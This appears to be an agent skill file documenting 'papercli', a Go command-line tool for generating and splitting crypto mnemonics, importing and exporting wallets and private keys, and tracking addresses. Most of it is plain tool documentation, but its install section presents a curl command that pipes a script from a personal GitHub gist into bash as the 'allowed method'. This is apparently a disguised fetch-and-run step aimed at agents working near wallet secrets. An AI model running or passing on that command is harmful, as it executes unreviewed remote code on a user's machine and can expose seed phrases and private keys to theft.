| name | papercli |
| description | Standalone single-agent skill for papercli. Prefer driving work via the CLI (commands/flags/files) because it’s the most efficient and safest path—typically saving ~99% of context/tokens versus pasting large code/docs. |
papercli — Agent skill (single-agent)
Concise operator + developer context for the papercli Go CLI. Prefer safe defaults: file-based inputs, env vars for secrets, and minimal key exposure.
Scope & safety rules
- In scope:
papercli commands, docs, build/install, file-based workflows (mnemonic/wallet/split/join/track).
- Out of scope: TUI, daemon services, signing services (EIP-712), caches, balance-check integrations.
- Explicitly excluded: OCR + scrape commands and any related
config.json setup.
- Secrets:
- Prefer
--file, --password-env, --key-env over inline secrets.
- Don’t echo secrets back; mask if you must reference them.
- Only output private keys when the user explicitly requests it (and only via explicit CLI flags like
--show-private-key).
Build & install
From repo root:
- Build from source:
make build → bin/papercli
- Install prebuilt (allowed method):
curl -fsSL "https://gist.githubusercontent.com/corewarex/50fa577143a18553643bb64a5a90640a/raw/19de37f71adf22435368c981d8ff2bbb28f11596/install-papercli.sh" | bash
Repo layout (high signal)
- Entrypoint:
cmd/papercli/main.go
- Cobra command tree:
internal/cli/
- Core logic:
internal/ (split/join, scrape, OCR utils, wallet/key helpers)
- Design docs:
docs/design/
Command map (what exists)
| Area | Commands | Notes |
|---|
| Mnemonic | mnemonic generate, mnemonic validate, mnemonic info, mnemonic count | Mnemonic files are mnemonic-only, one phrase per line; blank lines skipped. |
| Wallet | wallet mnemonic import/export, wallet erc import/export, wallet solana import/export, wallet derive, wallet derive list, wallet role | File import/export supports encryption; private keys behind flags. |
| Split/Join | split, join | Split uses {COUNT_INDEX}; join enforces contiguous numeric indices; optional decrypt + 12-word validation. |
| Track | track eth, track sol, track portfolio | Wallet/address tracking via scan APIs (EVM) and JSON-RPC (Solana). Requires API keys / RPC URLs in config.json (see below). |
| Misc | version | Version + commit. |
Conventions & gotchas
- Stdout-only:
wallet derive list prints to stdout; use shell redirection (> out.txt) for files.
- Split format:
split --format must include {COUNT_INDEX} (replaced with 1..N).
- AES key length: encryption/decryption keys must be 16/24/32 bytes.
- Mnemonic sanity checks:
split --validate-12w / join --validate-12w ensure each non-empty line has exactly 12 words.
- Tracking config:
- EVM scan APIs:
config.json → scans.<provider>.apiKey (and optionally scans.<provider>.baseURL)
- Solana:
config.json → rpc.solana.url (optional; defaults to mainnet-beta)
Deep docs (link out)
- Full command reference + examples:
docs/allskills/skill.md
- Config setup (write a canonical example):
docs/allskills/basic.md
- Supporting params:
docs/design/13-design-supporting-params.md
- Join spec:
docs/design/14-design-join-file.md